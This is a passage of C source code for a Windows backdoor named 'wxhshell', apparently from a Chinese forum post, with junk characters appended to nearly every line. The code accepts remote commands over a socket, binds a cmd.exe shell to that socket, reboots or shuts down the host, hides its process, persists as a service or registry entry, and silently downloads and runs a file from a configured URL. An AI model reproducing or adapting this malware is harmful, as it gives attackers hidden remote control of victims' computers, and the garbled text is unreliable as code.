  // 帮助 !% yd'"6Dl  
  case '?': { N%8aLD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *&yt;|y  
    break; [IuF0$w=dj  
  } E@ !~q  
  // 安装 =^3B&qQNq  
  case 'i': { WPNvZg9*c  
    if(Install()) T ;JA.=I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Z]4`9c  
    else g(zoN0~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +QFY. >KH  
    break; T_?,?  
    } ;!N_8{ 7r  
  // 卸载 q"^T}d d,  
  case 'r': { V}"w8i+D?  
    if(Uninstall())  *}`D2_uP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TYr"yZ([  
    else fyt`$y_E[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N]@e7P'9F  
    break; k;y5nXIlN  
    } v/DWy(CC  
  // 显示 wxhshell 所在路径 5-X(K 'Q  
  case 'p': {  'x\{sv  
    char svExeFile[MAX_PATH]; -qndBS  
    strcpy(svExeFile,"\n\r");  w4p<q68  
      strcat(svExeFile,ExeFile); E?P:!V=_  
        send(wsh,svExeFile,strlen(svExeFile),0); R a?0jcSQ$  
    break; <</ Le%  
    } 0Fm,F&12  
  // 重启 3P2L phW  
  case 'b': { g JMv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f0lK ,U@P  
    if(Boot(REBOOT)) ns[Q %_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_N!f=HW  
    else { k7Z1Y!n7  
    closesocket(wsh); T $;N8x[  
    ExitThread(0); ~w9ZSSb4  
    } 'gwh:8Xc  
    break; |G]M"3^  
    } dy*CDRU4  
  // 关机 at `\7YfQp  
  case 'd': { -J=N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rn8t<=ptH3  
    if(Boot(SHUTDOWN)) #>\+6W17U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5o@ls  
    else { VjVL/SO/  
    closesocket(wsh); %7bZnK`C  
    ExitThread(0); LK[%}2me  
    } X>y6-%@  
    break; x?B8b-*  
    } KZ)p\p<1  
  // 获取shell K2R[u#Q  
  case 's': { V|8`]QW@  
    CmdShell(wsh); {$mj9?n=v  
    closesocket(wsh); i.`RQZ$,/  
    ExitThread(0); SLG3u;Ab  
    break; F[S Ys/M  
  } HJu;4O($  
  // 退出 wm r8[n&c  
  case 'x': { p94 w0_m@|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Kc>=^=5  
    CloseIt(wsh); .AgD`wba  
    break; \hwz;V.J"  
    } BSu ]NOwe  
  // 离开 SQB[d3f  
  case 'q': { )FrXD3 p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  P7GF"/  
    closesocket(wsh);  /P/S0  
    WSACleanup(); Ug^v ]B9  
    exit(1); "xV9$m>  
    break; &N! ;d E  
        } [!E8C9Q#!  
  } |F 18j9  
  } +wwK#ocw  
` cgS yRD]  
  // 提示信息 Ag`:!*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sy|{}NkA!  
} A[6$'IJ  
  } 3%W R  
L>mv\D;o.  
  return; ?g$dz?^CK&  
} 9H<6k*  
LAwl9YnG:  
// shell模块句柄 "3i=kvdz  
int CmdShell(SOCKET sock) L@{5:#-  
{ g2<xr;<t^  
STARTUPINFO si; Px)/`'D  
ZeroMemory(&si,sizeof(si)); xv{iWJcs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Yd)Fm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H+>l][  
PROCESS_INFORMATION ProcessInfo; ZdD]l*.\i  
char cmdline[]="cmd"; i }5 #n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f}'E|:Z 7k  
  return 0; n2+eC9I  
} \5%T'S@5  
{]}}rx'|P  
// 自身启动模式 l%^'K%'b  
int StartFromService(void) c!BiGw,;  
{ /L1qdkG  
typedef struct .hCOi<wB  
{ :B<lDcFKJ  
  DWORD ExitStatus; 5"[Qs|VjA6  
  DWORD PebBaseAddress; &OiJJl[9  
  DWORD AffinityMask; l }?'U  
  DWORD BasePriority; UEJX0=  
  ULONG UniqueProcessId; }>w;(R  
  ULONG InheritedFromUniqueProcessId; 'lU9*e9  
}   PROCESS_BASIC_INFORMATION; ba3_5 5]  
$e! i4pM  
PROCNTQSIP NtQueryInformationProcess; l\yFx  
MOFIR wVZ+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; he/UvMu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .s_wP  
~T')s-,l,:  
  HANDLE             hProcess; 5 s>$  
  PROCESS_BASIC_INFORMATION pbi; zX!zG<<K  
m.MOn3n]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X }yEMe{T  
  if(NULL == hInst ) return 0; XY5I5H_U  
nJYcC"f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rBP!RSl1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7 3k3(rZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $o`N%]  
;&|ja]r  
  if (!NtQueryInformationProcess) return 0; TZq']Z)#  
j"E_nV:Qc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )ll`F7B-  
  if(!hProcess) return 0; h{]l?6`  
i%M2(8&^Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~PUz/^^ s  
w$7*za2  
  CloseHandle(hProcess); `n7z+  
b0i]T?#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #{ M$%l>  
if(hProcess==NULL) return 0; d;ElqRC&  
H;<hmbN?d  
HMODULE hMod; h]<Ld9  
char procName[255]; ;b$(T5  
unsigned long cbNeeded; aIk%$Mat  
YSt']  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~_SV `io  
3_IuK 6K2  
  CloseHandle(hProcess); ] w FFGy  
9[|Ql  
if(strstr(procName,"services")) return 1; // 以服务启动 Pe/cwKCI  
]7ROCJ;  
  return 0; // 注册表启动 u|\Lb2Kb:  
} ~) }npS;  
D:llGdU#2  
// 主模块 j]6j!.1  
int StartWxhshell(LPSTR lpCmdLine) POc< G^  
{ ~l-Q0wg  
  SOCKET wsl; "}|n;:r  
BOOL val=TRUE; Hq^sU%  
  int port=0; >U9*  
  struct sockaddr_in door; jd=k[Yqr  
@3{'!#/  
  if(wscfg.ws_autoins) Install(); g!<@6\RB  
.8CR \-  
port=atoi(lpCmdLine); LZyUlz  
>(u=/pp=:  
if(port<=0) port=wscfg.ws_port; @Q3aJ98)2  
g^1M]1.f  
  WSADATA data; j ij:}.d6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =_8  
k:<yy^g$X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "-vm=d~\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }}Eko7'^  
  door.sin_family = AF_INET; J(S.iTD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OGrVy=rd  
  door.sin_port = htons(port); [,-MC7>]  
gmWRw{nS+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W z3y+I/&  
closesocket(wsl); 'uBW1,  
return 1; L!DP*XDp  
} #OH-LWZh  
D2~e@J(K  
  if(listen(wsl,2) == INVALID_SOCKET) { S(Xab_DT)H  
closesocket(wsl); K3TMTY<p  
return 1; M=e]v9  
} w:& m_z#M  
  Wxhshell(wsl); C2,,+* v  
  WSACleanup(); cxrUk$f  
3t(nV4uDF  
return 0; :=^JHE{  
%? _pSH}$!  
} ) ]U-7  
JMw1qPJQ  
// 以NT服务方式启动 r<Ll>R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xe|o( !(  
{ wCvtw[6  
DWORD   status = 0; A--Hg-N|  
  DWORD   specificError = 0xfffffff; YQiTx)_  
VLc=!W}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mTW0_!.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?I`']|I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kh 1 7  
  serviceStatus.dwWin32ExitCode     = 0; ~ DVAk|fc  
  serviceStatus.dwServiceSpecificExitCode = 0; g% #" 5Kr  
  serviceStatus.dwCheckPoint       = 0; >tqLwC."'  
  serviceStatus.dwWaitHint       = 0; 2IqsBK`  
w:Tz&$&Y$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WtFv"$V  
  if (hServiceStatusHandle==0) return; v$w!hYsQ  
h2!We#  
status = GetLastError(); \Zqgr/.w/  
  if (status!=NO_ERROR) kp[+Iun?  
{ I2q C,Nkk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I)]wi%  
    serviceStatus.dwCheckPoint       = 0; f$NudG!S  
    serviceStatus.dwWaitHint       = 0; D(s[=$zua  
    serviceStatus.dwWin32ExitCode     = status; ! 9k)hP  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]&qujH^Dd*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WL7R.!P  
    return; 6?Rm>+2>v  
  } 'u{m37ZJ  
q*\ #H C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uv}[MXOP  
  serviceStatus.dwCheckPoint       = 0; ,+KZn}>  
  serviceStatus.dwWaitHint       = 0; ;-lk#D?n9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +L!-JrYHS4  
} \('8 _tqI"  
Y>{K2#k  
// 处理NT服务事件,比如:启动、停止  RN'|./N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |%g^6RN  
{ Ni'vz7j  
switch(fdwControl) #q%xJ[  
{ c</d1xT  
case SERVICE_CONTROL_STOP: OnC|9  
  serviceStatus.dwWin32ExitCode = 0; s9PD[u/y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; amK?LDf]  
  serviceStatus.dwCheckPoint   = 0; A jr]&H4  
  serviceStatus.dwWaitHint     = 0; KO<Yc`Fs  
  { tEf_XBjKV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `B"=\0  
  } 9Y- Sqk+  
  return; mrX3/e  
case SERVICE_CONTROL_PAUSE: Di<KRg1W]}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * 'WzIk2  
  break; } '.l'%  
case SERVICE_CONTROL_CONTINUE: 07DpvhDQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |rka/_  
  break; >lU[ lf+/  
case SERVICE_CONTROL_INTERROGATE: 4iBp!k7  
  break; "~9 !o"  
}; ;WC]Lf<Z^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 29 L~SMf  
} 7@$Hua,GY  
KcglpKV`  
// 标准应用程序主函数 Pq>r|/~_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AKC';J  
{ r;t0+aLc*  
.vj`[?T  
// 获取操作系统版本 S " R]i  
OsIsNt=GetOsVer(); PGsXB"k<8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WLQm|C,  
P&V,x`<Z  
  // 从命令行安装 mEmznA  
  if(strpbrk(lpCmdLine,"iI")) Install(); fmXA;^%  
&/d;4Eu  
  // 下载执行文件 1D&Q{?RM  
if(wscfg.ws_downexe) { ]vMr@JM-G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M%7{g"J*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9Ruj_U  
} ;"hED:z6%  
+u#;k!B/>  
if(!OsIsNt) { ,OsFv}v7  
// 如果时win9x,隐藏进程并且设置为注册表启动 Eg-3GkC  
HideProc(); B\wH`5/KW  
StartWxhshell(lpCmdLine); 7c1xB.g   
} Gy hoo'<  
else r`pg`ChHv  
  if(StartFromService()) zdrCr0Rx,  
  // 以服务方式启动 &*B=5W;6^u  
  StartServiceCtrlDispatcher(DispatchTable); 2--"@@  
else 3 k py3z[%  
  // 普通方式启动 jxU1u"WU  
  StartWxhshell(lpCmdLine); %Wkvo-rOq  
;t{Ew+s  
return 0; dFFJw[$8w  
}
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只看该作者 1 发表于: 2006-10-10
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